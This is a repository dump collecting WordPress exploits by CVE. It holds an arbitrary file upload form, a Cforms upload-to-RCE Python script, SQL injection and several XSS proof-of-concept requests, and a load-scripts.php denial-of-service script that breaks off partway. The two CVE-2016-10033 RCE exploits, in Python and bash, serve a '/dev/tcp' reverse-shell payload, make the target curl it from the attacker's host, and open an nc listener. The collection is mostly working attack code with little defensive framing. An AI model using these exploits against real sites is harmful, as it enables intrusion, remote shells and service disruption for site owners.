STRLCPY/WP-Vulnerabilities-Exploits

■ ■ ■ ■ ■ ■

CVE-2014-7969/README.md

1	+	# WordPress Plugin Creative Contact Form 0.9.7 - Arbitrary File Upload
2	+	<br>
3	+	## PoC<br>
4	+	Trigger a file upload<br>
5	+	<br>
6	+
7	+	```
8	+	<form method="POST" action="
9	+	http://TARGET/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php"
10	+	enctype="multipart/form-data">
11	+	<input type="file" name="files[]" /><button>Upload</button>
12	+	</form>
13	+	```
14	+
15	+	<br>
16	+	Then the file is accessible under
17	+	<br>
18	+	http://TARGET/wp-content/plugins/sexy-contact-form/includes/fileupload/files/FILENAME
19	+	==========================================================
20	+

■ ■ ■ ■ ■ ■

CVE-2014-7969/exploit.html

1	+	<form method="POST" action="
2	+	http://TARGET/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php"
3	+	enctype="multipart/form-data">
4	+	<input type="file" name="files[]" /><button>Upload</button>
5	+	</form>
6	+

■ ■ ■ ■ ■ ■

CVE-2014-9473/README.md

1	+	# WordPress Plugin Cforms 14.7 - Remote Code Execution
2	+	<br>
3	+
4	+	```
5	+	prok3z@prok3z ~/Á/p/W/CVE-2014-9473 [2]> python2 exploit.py -h
6	+	Cforms II File Upload + Remote Code Execution
7	+
8	+	Usage: exploit.py [options]
9	+
10	+	Options:
11	+	-h, --help show this help message and exit
12	+	-f FILE, --file=FILE file to upload
13	+	-i ITERATIONS, --max-iterations=ITERATIONS
14	+	Numbe of fields to iterate
15	+	-b BRUTE, --upload-file-name-bruteforce=BRUTE
16	+	Uploaded file name brute force
17	+	-n NUMBER, --cforms-form-number=NUMBER
18	+	Cforms form number
19	+	-c HOME, --cforms-home-dir=HOME
20	+	Cforms form home dir
21	+	-u URL, --url=URL vulnerable url with contact form, example:
22	+	http://127.0.0.1/Contact/
23	+
24	+	```
25	+

■ ■ ■ ■ ■ ■

CVE-2014-9473/exploit.py

1	+	import os
2	+	import requests
3	+	import re
4	+	import base64
5	+	import sys
6	+	from lxml import etree
7	+	from optparse import OptionParser
8	+
9	+	def main():
10	+	print 'Cforms II File Upload + Remote Code Execution\n'
11	+
12	+	text = 'Test text'
13	+	text_mail = '[email protected]'
14	+
15	+	parser = OptionParser()
16	+	parser.add_option("-f", "--file", dest="file", help="file to upload", default = "itest.php", metavar="FILE")
17	+	parser.add_option("-i", "--max-iterations", dest="iterations", help="Numbe of fields to iterate", default = "10")
18	+	parser.add_option("-b", "--upload-file-name-bruteforce", dest="brute", help="Uploaded file name brute force", default = "10")
19	+	parser.add_option("-n", "--cforms-form-number", dest="number", help="Cforms form number", default = "")
20	+	parser.add_option("-c", "--cforms-home-dir", dest="home", help="Cforms form home dir", default = "/wp-content/plugins/cforms2/")
21	+	parser.add_option("-u", "--url", dest="url", help="vulnerable url with contact form, example: http://127.0.0.1/Contact/")
22	+
23	+	(opt, args) = parser.parse_args()
24	+	options = opt.__dict__
25	+	if not opt.url: # if url is not given
26	+	parser.error('URL not given')
27	+	if not opt.file:
28	+	parser.error('file not given')
29	+	filename = options["file"]
30	+	if os.path.isfile(filename) is not True:
31	+	print 'No such file '+filename
32	+	return 0
33	+
34	+	url = options['url']
35	+	home = options["home"]
36	+	i = options["iterations"]
37	+	n = options["number"]
38	+	b = options["brute"]
39	+
40	+	s = requests.Session()
41	+
42	+	r = s.get(url)
43	+	if r.status_code != requests.codes.ok:
44	+	print 'Error: website not found.'
45	+	return 0
46	+
47	+	tree = etree.HTML(r.text)
48	+	# get cforms id
49	+	if n is "":
50	+	for x in xrange(2,10):
51	+	for node in tree.xpath('//*[@id="cforms'+str(x)+'form"]'):
52	+	if node is not None:
53	+	n = str(x)
54	+	break
55	+	print 'Cforms form number is <'+n+'>'
56	+	hidden = ['cf_working'+n,'cf_failure'+n,'cf_codeerr'+n,'cf_customerr'+n,'cf_popup'+n]
57	+	fields = ['cf'+n+'_field_'+str(x) for x in xrange(1,int(i)+1)]
58	+	required = {'sendbutton'+n:'1'}
59	+
60	+	for f in fields:
61	+	for node in tree.xpath('//*[@id="' + f + '"]'):
62	+	if node is not None:
63	+	if 'fldrequired' in node.get('class'):
64	+	if 'fldemail' in node.get('class'):
65	+	required[f] = text_mail
66	+	else:
67	+	required[f] = text
68	+
69	+	for h in hidden:
70	+	for node in tree.xpath('//*[@id="' + h + '"]'):
71	+	if node is not None:
72	+	required[h] = node.get('value')
73	+
74	+	for node in tree.xpath('//*[@id="cforms_captcha'+n+'"]'):
75	+	if node is not None:
76	+	print 'Error: Cforms uses captcha. Sorry, you have to exploit it manually.'
77	+	return 0
78	+
79	+	files = {'cf_uploadfile'+n+'[]':('wow.php',open(filename))}
80	+	r = s.post(url,data=required,files=files)
81	+
82	+	if r.status_code != requests.codes.ok:
83	+	print 'Error: post error.'
84	+	print r.status_code
85	+	return 0
86	+	else:
87	+	url1 = url + home + 'noid-wow.php'
88	+	flag = 0
89	+	if s.get(url1).status_code != requests.codes.ok:
90	+	for l in xrange(1,int(b)):
91	+	url1 = url + home + str(l) + '-wow.php'
92	+	print url1
93	+	if s.get(url1).status_code == requests.codes.ok:
94	+	flag = 1
95	+	break
96	+	else:
97	+	flag = 1
98	+	if flag == 1:
99	+	print "Succes! Uploaded file: " + url1
100	+	else:
101	+	print "Uploaded file not found. Try to increase -b flag or change upload dir. 14.6.3 version and above use wordpress upload folder"
102	+
103	+	main()
104	+

■ ■ ■ ■ ■ ■

CVE-2015-6522/README.md

1	+	# WP Symposium <= 15.5.1 - Unauthenticated SQL Injection
2	+	Description:<br>
3	+	Wordpress plugin wp-symposium version 15.5.1 (and probably all existing previous versions) suffers from an<br> unauthenticated SQL Injection in get_album_item.php, parameter 'size'.<br>
4	+
5	+	The issue is exploitable even if the plugin is deactivated.<br>
6	+	<br>
7	+	# Proof of Concept
8	+	```
9	+	PoC URL : http://localhost/<WP-path>/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--
10	+
11	+	PoC Command (Unix) : wget "http://localhost/<WP-path>/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--" -O output.txt
12	+
13	+	In the content of the HTTP response you will find the MySQL version, for example :
14	+	5.5.44-0+deb7u1
15	+	```
16	+	<h3>References</h3>
17	+	https://www.exploit-db.com/exploits/37824<br>
18	+	https://wpscan.com/vulnerability/8140
19	+

■ ■ ■ ■ ■ ■

CVE-2015-9391/README.md

1	+	# YAWPP <= 1.2.2 - Unauthenticated Stored Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The yawpp WordPress plugin was affected by an Unauthenticated Stored Cross-Site Scripting (XSS) security vulnerability.
5	+
6	+	# Proof of Concept
7	+	```
8	+	POST /wordpress-4.3/?p=4 HTTP/1.1
9	+
10	+	Host: wp.lab
11	+
12	+	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0
13	+
14	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
15	+
16	+	Accept-Language: en-US,en;q=0.5
17	+
18	+	Accept-Encoding: gzip, deflate
19	+
20	+	Referer: http://wp.lab/wordpress-4.3/?p=4
21	+
22	+	Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-time-1=1449056570
23	+
24	+	Connection: keep-alive
25	+
26	+	Content-Type: application/x-www-form-urlencoded
27	+
28	+	Content-Length: 94
29	+
30	+
31	+
32	+	field1=<script>alert(/XSS-Field1/)</script>&field2=test2%40gmail.com&id=1&submit_yawpp=Valider
33	+	```
34	+

■ ■ ■ ■ ■ ■

CVE-2016-10033/CVE-2016-10033.py

1	+	#!/usr/bin/env python
2	+	import SocketServer, SimpleHTTPServer, threading
3	+	import subprocess, os, sys, time, shutil
4	+	import requests
5	+
6	+	#print usage if improper # of args
7	+	if len(sys.argv) == 1 or len(sys.argv) > 4:
8	+	print 'usage: ./CVE-2016-10033.py <target site> <your ip:port> <username>'
9	+	print 'example: ./CVE-2016-10033.py http://site.com/ 1.2.3.4:4444 admin'
10	+	quit()
11	+
12	+	#set vars
13	+	host_header=''
14	+	url = sys.argv[1]
15	+	host, port = sys.argv[2].split(':')
16	+	username = sys.argv[3]
17	+
18	+	#make temp directory for payload
19	+	cwd = os.getcwd()
20	+	if not os.path.exists(cwd+'/tmp'):
21	+	os.makedirs(cwd+'/tmp')
22	+	os.chdir(cwd+'/tmp')
23	+
24	+	#method for converting special characters
25	+	def prep_header(cmd):
26	+	cmd='\${run{'+cmd+'}}'
27	+	cmd = cmd.replace('/', '${substr{0}{1}{$spool_directory}}') #convert /
28	+	cmd = cmd.replace(' ', '${substr{10}{1}{$tod_log}}') #convert ' '
29	+
30	+	host_header='target(any -froot@localhost -be '+rce_cmd+' null)'
31	+
32	+	#create payload
33	+	print '[+] Generating Payload'
34	+	rev_cmd = '(sleep 10s && nohup bash -i >/dev/tcp/'+host+'/'+port+' 0<&1 2>&1) &'
35	+	with open('rce.txt', 'w') as inf:
36	+	inf.write(rev_cmd)
37	+
38	+	#serve the payload; threading is meant for easy shutdown at end
39	+	print '[+] Hosting payload on simple server'
40	+	httpd = SocketServer.TCPServer((host, 80), SimpleHTTPServer.SimpleHTTPRequestHandler)
41	+	thread = threading.Thread(target = httpd.serve_forever)
42	+	thread.daemon = True
43	+	thread.start()
44	+
45	+	#write payload to host
46	+	print '[+] Downloading payload to remote host'
47	+	run_cmd = '/usr/bin/curl -o/tmp/rce '+host+'/rce.txt'
48	+	prep_header(run_cmd)
49	+	headers = {'Host':host_header,'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'}
50	+	r = requests.post(url+'wp-login.php?action=lostpassword', #lost password URL
51	+	headers=headers, allow_redirects=True, verify=False, #standard request info
52	+	data={'user_login':username, 'wp-submit':'Get+New+Password'}) #POST info
53	+
54	+	#wait two minutes for slower connections/delays/etc
55	+	time.sleep(60)
56	+
57	+	#kill server
58	+	print '[+] Shutting down server'
59	+	httpd.shutdown()
60	+	shutil.rmtree(cwd+'/tmp')
61	+
62	+	#execute payload stored on host
63	+	print '[+] Executing payload on remote host'
64	+	cmd = '/bin/bash /tmp/rce'
65	+	prep_header(cmd)
66	+	r = requests.post(url+'wp-login.php?action=lostpassword', #lost password URL
67	+	headers=headers, allow_redirects=True, verify=False, #standard request info
68	+	data={'user_login':username, 'wp-submit':'Get+New+Password'}) #POST info
69	+
70	+	#start reverse listener with nc
71	+	print '[+] Starting reverse listener'
72	+	subprocess.call(["sudo","nc","-lvp "+port])

■ ■ ■ ■ ■ ■

CVE-2016-10033/README.md

1	+	# PoC for CVE-2016-10033
2	+
3	+	RCE against WordPress 4.6
4	+
5	+	usage:
6	+	```
7	+	./CVE-2016-10033.py <target site> <your ip:port> <username>
8	+	```
9	+	example:
10	+	```
11	+	./CVE-2016-10033.py http://site.com/ 1.2.3.4:4444 admin
12	+	```
13	+
14	+	---
15	+
16	+	Python port (+alterations) of https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
17	+
18	+	Required: Requests (pip install requests)
19	+
20	+	---
21	+
22	+	I haven't had the chance to test this so please let me know about your results

■ ■ ■ ■ ■ ■

CVE-2016-10033/rce.sh

1	+	#!/bin/bash
2	+	#
3	+	# __ __ __ __ __
4	+	# / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
5	+	# / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
6	+	# / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
7	+	# /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/\|_\|\___/_/ /____/
8	+	# /____/
9	+	#
10	+	#
11	+	# WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit
12	+	# CVE-2016-10033
13	+	#
14	+	# wordpress-rce-exploit.sh (ver. 1.0)
15	+	#
16	+	#
17	+	# Discovered and coded by
18	+	#
19	+	# Dawid Golunski (@dawid_golunski)
20	+	# https://legalhackers.com
21	+	#
22	+	# ExploitBox project:
23	+	# https://ExploitBox.io
24	+	#
25	+	# Full advisory URL:
26	+	# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
27	+	#
28	+	# Exploit src URL:
29	+	# https://exploitbox.io/exploit/wordpress-rce-exploit.sh
30	+	#
31	+	#
32	+	# Tested on WordPress 4.6:
33	+	# https://github.com/WordPress/WordPress/archive/4.6.zip
34	+	#
35	+	# Usage:
36	+	# ./wordpress-rce-exploit.sh target-wordpress-url
37	+	#
38	+	#
39	+	# Disclaimer:
40	+	# For testing purposes only
41	+	#
42	+	#
43	+	# -----------------------------------------------------------------
44	+	#
45	+	# Interested in vulns/exploitation?
46	+	#
47	+	#
48	+	# .;lc'
49	+	# .,cdkkOOOko;.
50	+	# .,lxxkkkkOOOO000Ol'
51	+	# .':oxxxxxkkkkOOOO0000KK0x:'
52	+	# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
53	+	# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
54	+	# '';ldxxxxxdc,. ,oOXXXNNNXd;,.
55	+	# .ddc;,,:c;. ,c: .cxxc:;:ox:
56	+	# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
57	+	# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
58	+	# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
59	+	# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
60	+	# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
61	+	# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
62	+	# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
63	+	# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
64	+	# .dxxxxxdl;. ., .. .;cdxxxxxx:
65	+	# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
66	+	# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
67	+	# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
68	+	# .':oxxxxxxxxx.ckkkkkkkkxl,.
69	+	# .,cdxxxxx.ckkkkkxc.
70	+	# .':odx.ckxl,.
71	+	# .,.'.
72	+	#
73	+	# https://ExploitBox.io
74	+	#
75	+	# https://twitter.com/Exploit_Box
76	+	#
77	+	# -----------------------------------------------------------------
78	+
79	+
80	+
81	+	rev_host="192.168.57.1"
82	+
83	+	function prep_host_header() {
84	+	cmd="$1"
85	+	rce_cmd="\${run{$cmd}}";
86	+
87	+	# replace / with ${substr{0}{1}{$spool_directory}}
88	+	#sed 's^/^${substr{0}{1}{$spool_directory}}^g'
89	+	rce_cmd="`echo $rce_cmd \| sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
90	+
91	+	# replace ' ' (space) with
92	+	#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
93	+	rce_cmd="`echo $rce_cmd \| sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
94	+	#return "target(any -froot@localhost -be $rce_cmd null)"
95	+	host_header="target(any -froot@localhost -be $rce_cmd null)"
96	+	return 0
97	+	}
98	+
99	+
100	+	#cat exploitbox.ans
101	+	intro="
102	+	DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
103	+	bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
104	+	G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
105	+	G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
106	+	IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
107	+	IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
108	+	X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
109	+	b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
110	+	NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
111	+	TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
112	+	QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
113	+	NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
114	+	G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
115	+	eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
116	+	WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
117	+	TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
118	+	ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
119	+	MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
120	+	G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
121	+	WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
122	+	NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
123	+	MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
124	+	X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
125	+	bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
126	+	intro2="
127	+	ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
128	+	fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
129	+	MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
130	+	ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
131	+	aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
132	+	fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
133	+	ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
134	+	bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
135	+	ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
136	+	ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
137	+	bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
138	+	cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
139	+	echo "$intro" \| base64 -d
140	+	echo "$intro2" \| base64 -d
141	+
142	+	if [ "$#" -ne 1 ]; then
143	+	echo -e "Usage:\n$0 target-wordpress-url\n"
144	+	exit 1
145	+	fi
146	+	target="$1"
147	+	echo -ne "\e[91m[*]\033[0m"
148	+	read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
149	+	echo
150	+
151	+
152	+	if [ "$choice" == "y" ]; then
153	+
154	+	echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
155	+	echo -e "\e[92m[+]\033[0m Connected to the target"
156	+
157	+	# Serve payload/bash script on :80
158	+	RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
159	+	echo "$RCE_exec_cmd" > rce.txt
160	+	python -mSimpleHTTPServer 80 2>/dev/null >&2 &
161	+	hpid=$!
162	+
163	+	# Save payload on the target in /tmp/rce
164	+	cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
165	+	prep_host_header "$cmd"
166	+	curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
167	+	echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
168	+
169	+	# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
170	+	cmd="/bin/bash /tmp/rce"
171	+	prep_host_header "$cmd"
172	+	curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
173	+	echo -e "\n\e[92m[+]\033[0m Payload executed!"
174	+
175	+	echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
176	+	nc -vv -l 1337
177	+	echo
178	+	else
179	+	echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
180	+	exit 0
181	+
182	+	fi
183	+
184	+
185	+	echo "Exiting..."
186	+	exit 0
187	+

■ ■ ■ ■ ■ ■

CVE-2016-10990/README.md

1	+	# Cerber Limit Login Attempts <= 2.0.1.6 - Unauthenticated Stored XSS
2	+	Description
3	+
4	+	If the option "I'm behind a proxy" is enabled, the visitor IP is read from X-Forwarded-For header, stored & printed in the admin panel without any sanitization / validation.
5	+
6	+	# Proof of Concept
7	+	```
8	+	Set the X-Forwarded-For header to <script>alert(1)</script>, and perform an incorrect login.
9	+	```
10	+

■ ■ ■ ■ ■ ■

CVE-2017-9288/README.md

1	+	# Raygun4WP <= 1.8.0 - Unauthenticated Reflected XSS
2	+	Description
3	+	The Raygun4WP WordPress plugin was affected by an Unauthenticated Reflected XSS security vulnerability.
4	+	# Proof of Concept
5	+	```
6	+	http://www.example.com/wp-content/plugins/raygun4wp/sendtesterror.php?backurl="><img src=x onerror=alert(1)>
7	+	```
8	+

■ ■ ■ ■ ■ ■

CVE-2018-16285/README.md

1	+	# UserPro <= 4.9.23 - Unauthenticated Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	An XSS vulnerability that affects from version 2.13 to 4.9.23.
5	+
6	+	# Proof of Concept
7	+	```
8	+	POST /wp-admin/admin-ajax.php
9	+
10	+	Host: domain.com
11	+
12	+
13	+
14	+	action=userpro_shortcode_template&shortcode=[userpro<img src=a onerror=alert(1)> id=1 layout="float" collage_per_page="20" emd_paginate_top="1" emd_paginate="1" emd_gender="Gender,radi
15	+	```
16	+

■ ■ ■ ■ ■ ■

CVE-2018-18069/README.md

1	+	# WPML <= 3.6.3 - Unauthenticated Stored Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The sitepress-multilingual-cms WordPress plugin was affected by an Unauthenticated Stored Cross-Site Scripting (XSS) security vulnerability.
5	+
6	+	# Proof of Concept
7	+	```
8	+	POST /wp-admin/admin.php?page=sitepress-multilingual-cms-3.6.3%2Fmenu%2Ftheme-localization.php HTTP/1.1
9	+
10	+	Host: localhost
11	+
12	+	User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0
13	+
14	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
15	+
16	+	Accept-Language: en-US,en;q=0.5
17	+
18	+	Accept-Encoding: gzip, deflate
19	+
20	+	Content-Type: application/x-www-form-urlencoded
21	+
22	+	Content-Length: 90
23	+
24	+	Cookie: wordpress_test_cookie=WP+Cookie+check
25	+
26	+	Connection: close
27	+
28	+	Upgrade-Insecure-Requests: 1
29	+
30	+
31	+
32	+	icl_post_action=save_theme_localization&locale_file_name_en="><img src=x onerror=alert(1)>
33	+	```
34	+	# References
35	+	https://wpscan.com/vulnerability/024b43d3-1e73-47f1-81d2-ab15a6c7b0fd
36	+

■ ■ ■ ■ ■ ■

CVE-2018-20462/README.md

1	+	# JSmol2WP <= 1.07 - Unauthenticated Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The jsmol2wp WordPress plugin was affected by an Unauthenticated Cross-Site Scripting (XSS) security vulnerability.
5	+
6	+	# Proof of Concept
7	+	```
8	+	http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3Cscript%3Ealert(/xss/)%3C/script%3E&mimetype=text/html;%20charset=utf-8
9	+	```
10	+	# References
11	+	https://wpscan.com/vulnerability/0bbf1542-6e00-4a68-97f6-48a7790d1c3e
12	+

■ ■ ■ ■ ■ ■

CVE-2018-6389/CVE-2018-6389.py

1	+	import requests
2	+	import threading
3	+	import random
4	+
5	+	ban = """
6	+	01000011 01010110 01000101 00101101 00110010
7	+	00110000 00110001 00111000 00101101 00110110
8	+	00110011 00111000 00111001 01000101 01111000
9	+	01110000 01101100 01101111 01101001 01110100
10	+
11	+	"""
12	+	print(ban)
13	+	host = raw_input("Enter Target Url eg (google.com) :")
14	+	p1 = """
15	+	eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter
16	+	"""
17	+	url = 'http://' + host + '/wp-admin/load-scripts.php?c=1&load%5B%5D='+p1
18	+	tw = input("Threads Number eg 5000 :")
19	+
20	+
21	+
22	+	#class to get random useragents from https://raw.githubusercontent.com/ankayip41/random-user-agent/master/ua.py
23	+	class UserAgent:
24	+	agent = {}
25	+
26	+	def random(self):
27	+	self.get_platform()
28	+	self.get_os()
29	+	self.get_browser()
30	+
31	+	if self.agent['browser'] == 'Chrome':
32	+	webkit = str(random.randint(500, 599))
33	+	version = "%s.0%s.%s"%(str(random.randint(0, 24)), str(random.randint(0, 1500)), str(random.randint(0, 999)))
34	+
